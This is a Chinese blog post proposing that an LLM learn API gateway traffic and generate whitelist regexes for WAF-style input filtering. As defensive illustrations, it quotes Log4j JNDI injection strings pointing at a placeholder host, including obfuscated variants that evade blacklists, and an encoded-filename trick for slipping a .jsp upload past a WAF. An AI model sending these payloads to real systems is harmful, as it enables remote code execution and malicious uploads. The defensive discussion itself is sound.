首页 > 其他分享 >大语言模型和API网关

大语言模型和API网关

时间:2024-07-21 18:17:49浏览次数:17  
标签:网关 模型 XXX API 键值 白名单 com

一、大模型能力和WAF配置员

今天试验了百度大模型文心一言,大模型可以通过学习键值对内容,输出较为安全的正则表达式:

1)以往的WAF配置员就是针对无校验的键值对,提供正则表达式以白名单的方式进行安全防护,防止外部的恶意输入。

  可以参考华为产品:https://support.huawei.com/hedex/hdx.do?docid=EDOC1100103264&id=ZH-CN_TOPIC_0183842598

  通过1-2周的生产数据进行学习,一般能形成一套针对业务的请求白名单

2)学习业务数据形成白名单的好处:

  2.1)例如log4j的变形代码,业务正常的入参如果与log4j差异较大无法满足业务入参表达式,哪怕waf黑名单策略未更新,攻击者也无法得逞

#log4j基本的攻击代码
${jndi:ldap://XXX.net/exploit}
${jndi:rmi://XXX.net/exploit}
#第1种变形
${jnd${upper:ı}:ldap://XXX.com/exploit}
#第2种变形
${j${:-n}di:ldap://XXX.net/exploit}

  2.2)利用QP码绕过WAF进行恶意上传,原始例子: https://mp.weixin.qq.com/s/gY8kSFSZ4D9NELO0uc188g

  这种情况更加简单,一般文件都是 XXX.doc  XXX.docx  XXXX.pdf等,有一天突然冒出一个=?UTF-8?0?=E6=B5=8B=E8=AF=95=2Ejsp?= 肯定无法匹配会被正则拦截

 

二、落地方案 

结合阿里巴巴的API网关: https://www.alibabacloud.com/help/zh/api-gateway/traditional-api-gateway/user-guide/overview-5?spm=a2c63.p38356.0.0.54055ebfpyuoQ2

1)首先网关支持对历史调用进行存储以便提供给大模型进行学习生成正则表达式

2)网关对入参键值对进行白名单过滤,保证意料之外的HTTP格式

3)可配置可信入参,其中正则表达式可以利用(1)当中记录的请求键值数据让大模型进行学习,由大模型输出安全的表达式并人工二次验证

4)网关还能对复杂业务场景做入参和出参的集成规则,以处理部分逻辑漏洞

 

总结:当web应用安全和工控安全一样使用白名单自学习的方法进行防护:

1)软件测试理论中的等价类、边界值成为基础理论

2)渗透测试的各种攻击场景变成了安全需求

3)机器学习的理论变成了工程实践

当各个维度的知识串联在一起,反而深深的感受到知识的匮乏

标签:网关,模型,XXX,API,键值,白名单,com
From: https://www.cnblogs.com/k4n5ha0/p/18314781

相关文章

  • Asp.Net Core 统一Api返回值
    Asp.NetCore统一Api返回值写在开头在我们在前端调用后端接口时,常常会遇到返回数据不一致的问题,又或者当我们请求接口的时候我们常常需要判断结果,以调用不同的Toast或者Snackbar反馈给操作者,我们需要对接口返回数据进行统一的操作。代码首先我们需要一个返回结果类,他应当接收......
  • ChatGPT如何开启使用gpt-4o mini模型?
    OpenAI发布了新的LLM大模型:gpt-4omini。gpt-3.5现在已经取消掉了,用gpt-4omini代替且gpt-4omini是免费的。根据OpenAI官方介绍,GPT-4omini在学术测试中表现优异,超越了GPT-3.5Turbo等小型模型。它在文本智能、多模态推理和语言支持方面水平与GPT-4o相当。在函数调用方面表现......
  • 2024最新AI创作系统,ChatGPT商业运营系统,AI绘画系统源码,AI视频生成系统,AI智能体、文档
    一、人工智能人工智能技术正在迅速发展,AI语言模型、AI绘画、AI视频在多个领域都有广泛的应用。它们不仅在科技创新方面表现出色,还在艺术创作、内容生产和商业应用中展现出巨大的潜力。AI语言模型可以用于自动化内容生成、智能客服、文本翻译等方面,大大提升了工作效率和用户体......
  • 【压缩泛化】对大语言模型智能涌现的理解
    AGI=MaximizingCompression!1.智能定义   一年时间,大语言模型(LLM)席卷互联网行业,包括自己在内,日常工作生活已经快离不开大模型应用了。前段时间,看到有赞干掉了30多人的UI团队,后又干掉了HRBP团队,想当初自己还拿到过有赞的offer,对于公司果断、雷厉风行的风格还是有......
  • 如何在 8 个 GPU 上并行化 Transformer 模型进行机器翻译?
    我正在尝试使用变压器模型以几乎与原始文章相同的方式执行机器翻译。虽然该模型运行得相当好,但它需要更多的计算资源。为了解决这个问题,我在一台具有8个GPU处理器的计算机上运行了该模型,但我缺乏这方面的经验。我尝试对并行化进行必要的调整:transformer=nn.DataParallel......
  • 在.NET Web API设置响应输出Json数据格式常用的两种方式
    前言在ASP.NETCoreWebAPI中设置响应输出Json数据格式常用以下两种方式:可以通过添加System.Text.Json或Newtonsoft.JsonJSON序列化和反序列化库在应用程序中全局设置接口响应的Json数据格式。注意:本文示例使用的是新的MinimalAPI模式。JSON序列化和反序列化库System.Text......
  • 生成模型---变分自编码器
    1.设计思路1.1自编码器基础自编码器(Autoencoder)是一种神经网络模型,由编码器和解码器组成。编码器将输入数据压缩成一个潜在空间的表示(即编码),解码器则将这种表示重构为原始数据。设定:输入数据为x......
  • 【论文阅读笔记】大模型微调——《LoRA: Low-Rank Adaptation of Large Language Mode
    论文地址:https://arxiv.org/abs/2106.09685代码地址:https://github.com/microsoft/LoRA目录IntroductionMotivationMethodExperimentsFurtherdiscusion感想IntroductionMotivationMethodExperimentsFurtherdiscusion个人认为本篇的精髓所在,能够引用5k+的原因之一感......
  • LLM基础模型系列:Prefix-Tuning
    ------->更多内容,请移步“鲁班秘笈”!!<------PrefixTuning和PromptTuning最大的区别就是向每层的TransformerBlock添加可训练的张量,而上一期的PromptTuning只是在输入的时候添加。此外,通过全连接层(具有两层的迷你MLP和介于两者之间的非线性激活函数)来进行桥接。下图左侧......
  • 本周当之无愧:小模型周
    --->更多内容,请移步“鲁班秘笈”!!<---在继MetaMobileLLM之后,本周迎来了小模型的挤堆发布。在本地设备上运行的小型语言模型脱胎于蒸馏或量化等技术来压缩大型模型,或者在大型数据集上从头开始训练。Microsoft的Phi系列、阿里巴巴的Qwen2和Meta的MobileLLM表明,如果经过深思熟......